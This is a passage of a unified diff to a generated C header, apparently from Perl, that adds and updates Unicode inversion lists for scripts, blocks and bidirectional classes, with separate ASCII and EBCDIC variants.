+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
 	0x1E800,
 	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
 	0x1E900,
-	0x1E944,
-	0x1E947,
-	0x1E948,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -56255,13 +173661,73 @@
 	0x1EEAA,
 	0x1EEAB,
 	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
 	0x1F130,
-	0x1F14A,
-	0x1F150,
-	0x1F16A,
+	0x1F16C,
 	0x1F170,
-	0x1F18A,
-	0x20000,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x1FFFE,
 	0x2A6D7,
 	0x2A700,
 	0x2B735,
@@ -56269,26 +173735,5945 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
-	0x2FA1E
+	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xEFFFE,
+	0x110000
 };
 
-static const UV XPosixBlank_invlist[] = { /* for EBCDIC 1047 */
-	15,	/* Number of elements */
+static const UV PL_AGHB_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570
+};
+
+static const UV PL_AHOM_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740
+};
+
+static const UV PL_ALCHEMICAL_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F700,
+	0x1F780
+};
+
+static const UV PL_ALL_invlist[] = { /* for all charsets */
+	1,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0
+};
+
+static const UV PL_ALPHABETICPF_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB00,
+	0xFB50
+};
+
+static const UV PL_ANCIENTGREEKMUSIC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1D200,
+	0x1D250
+};
+
+static const UV PL_ANCIENTGREEKNUMBERS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10140,
+	0x10190
+};
+
+static const UV PL_ANCIENTSYMBOLS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10190,
+	0x101D0
+};
+
+static const UV PL_ANY_invlist[] = { /* for all charsets */
+	2,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x110000
+};
+
+static const UV PL_ARAB_invlist[] = { /* for all charsets */
+	105,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x600,
+	0x605,
+	0x606,
+	0x61D,
+	0x61E,
+	0x6DD,
+	0x6DE,
+	0x700,
+	0x750,
+	0x780,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0xFB50,
+	0xFBC2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0x102E0,
+	0x102FC,
+	0x10E60,
+	0x10E7F,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2
+};
+
+static const UV PL_ARABICEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x8A0,
+	0x900
+};
+
+static const UV PL_ARABICMATH_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1EE00,
+	0x1EF00
+};
+
+static const UV PL_ARABICPFA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFB50,
+	0xFE00
+};
+
+static const UV PL_ARABICPFB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xFE70,
+	0xFF00
+};
+
+static const UV PL_ARABICSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x750,
+	0x780
+};
+
+static const UV PL_ARMI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10840,
+	0x10856,
+	0x10857,
+	0x10860
+};
+
+static const UV PL_ARMN_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0xFB13,
+	0xFB18
+};
+
+static const UV PL_ARROWS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2190,
+	0x2200
+};
+
+static const UV PL_AVST_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B40
+};
+
+static const UV PL_BALI_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D
+};
+
+static const UV PL_BAMU_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA6A0,
+	0xA6F8,
+	0x16800,
+	0x16A39
+};
+
+static const UV PL_BAMUMSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16800,
+	0x16A40
+};
+
+static const UV PL_BASS_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6
+};
+
+static const UV PL_BATK_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1BC0,
+	0x1BF4,
+	0x1BFC,
+	0x1C00
+};
+
+static const UV PL_BC__AL_invlist[] = { /* for all charsets */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x608,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60D,
+	0x60E,
+	0x61B,
+	0x64B,
+	0x66D,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6E5,
+	0x6E7,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7C0,
+	0x860,
+	0x870,
+	0x8A0,
+	0x8D4,
+	0xFB50,
+	0xFD3E,
+	0xFD40,
+	0xFDD0,
+	0xFDF0,
+	0xFDFD,
+	0xFDFE,
+	0xFE00,
+	0xFE70,
+	0xFEFF,
+	0x1EE00,
+	0x1EEF0,
+	0x1EEF2,
+	0x1EF00
+};
+
+static const UV PL_BC__AN_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x600,
+	0x606,
+	0x660,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x6DD,
+	0x6DE,
+	0x8E2,
+	0x8E3,
+	0x10E60,
+	0x10E7F
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__B_invlist[] = { /* for ASCII/Latin1 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA,
+	0xB,
+	0xD,
+	0xE,
+	0x1C,
+	0x1F,
+	0x85,
+	0x86,
+	0x2029,
+	0x202A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__B_invlist[] = { /* for EBCDIC 1047 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x1C,
+	0x1F,
+	0x25,
+	0x26,
+	0x2029,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__B_invlist[] = { /* for EBCDIC 037 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x1C,
+	0x1F,
+	0x25,
+	0x26,
+	0x2029,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__BN_invlist[] = { /* for ASCII/Latin1 */
+	64,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xE,
+	0x1C,
+	0x7F,
+	0x85,
+	0x86,
+	0xA0,
+	0xAD,
+	0xAE,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200E,
+	0x2060,
+	0x2066,
+	0x206A,
+	0x2070,
+	0xFDD0,
+	0xFDF0,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0100,
+	0xE01F0,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__BN_invlist[] = { /* for EBCDIC 1047 */
+	70,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x5,
 	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x1C,
+	0x20,
+	0x25,
+	0x26,
 	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200E,
+	0x2060,
+	0x2066,
+	0x206A,
+	0x2070,
+	0xFDD0,
+	0xFDF0,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0100,
+	0xE01F0,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__BN_invlist[] = { /* for EBCDIC 037 */
+	70,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x1C,
+	0x20,
+	0x25,
+	0x26,
+	0x40,
+	0xCA,
+	0xCB,
+	0xFF,
+	0x100,
+	0x180E,
+	0x180F,
+	0x200B,
+	0x200E,
+	0x2060,
+	0x2066,
+	0x206A,
+	0x2070,
+	0xFDD0,
+	0xFDF0,
+	0xFEFF,
+	0xFF00,
+	0xFFF0,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0100,
+	0xE01F0,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__CS_invlist[] = { /* for ASCII/Latin1 */
+	27,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2C,
+	0x2D,
+	0x2E,
+	0x30,
+	0x3A,
+	0x3B,
+	0xA0,
+	0xA1,
+	0x60C,
+	0x60D,
+	0x202F,
+	0x2030,
+	0x2044,
+	0x2045,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__CS_invlist[] = { /* for EBCDIC 1047 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
 	0x42,
+	0x4B,
+	0x4C,
+	0x61,
+	0x62,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x60C,
+	0x60D,
+	0x202F,
+	0x2030,
+	0x2044,
+	0x2045,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__CS_invlist[] = { /* for EBCDIC 037 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x42,
+	0x4B,
+	0x4C,
+	0x61,
+	0x62,
+	0x6B,
+	0x6C,
+	0x7A,
+	0x7B,
+	0x60C,
+	0x60D,
+	0x202F,
+	0x2030,
+	0x2044,
+	0x2045,
+	0xFE50,
+	0xFE51,
+	0xFE52,
+	0xFE53,
+	0xFE55,
+	0xFE56,
+	0xFF0C,
+	0xFF0D,
+	0xFF0E,
+	0xFF10,
+	0xFF1A,
+	0xFF1B
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_BC__EN_invlist[] = { /* for ASCII/Latin1 */
+	25,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0xB2,
+	0xB4,
+	0xB9,
+	0xBA,
+	0x6F0,
+	0x6FA,
+	0x2070,
+	0x2071,
+	0x2074,
+	0x207A,
+	0x2080,
+	0x208A,
+	0x2488,
+	0x249C,
+	0xFF10,
+	0xFF1A,
+	0x102E1,
+	0x102FC,
+	0x1D7CE,
+	0x1D800,
+	0x1F100,
+	0x1F10B
+};
+
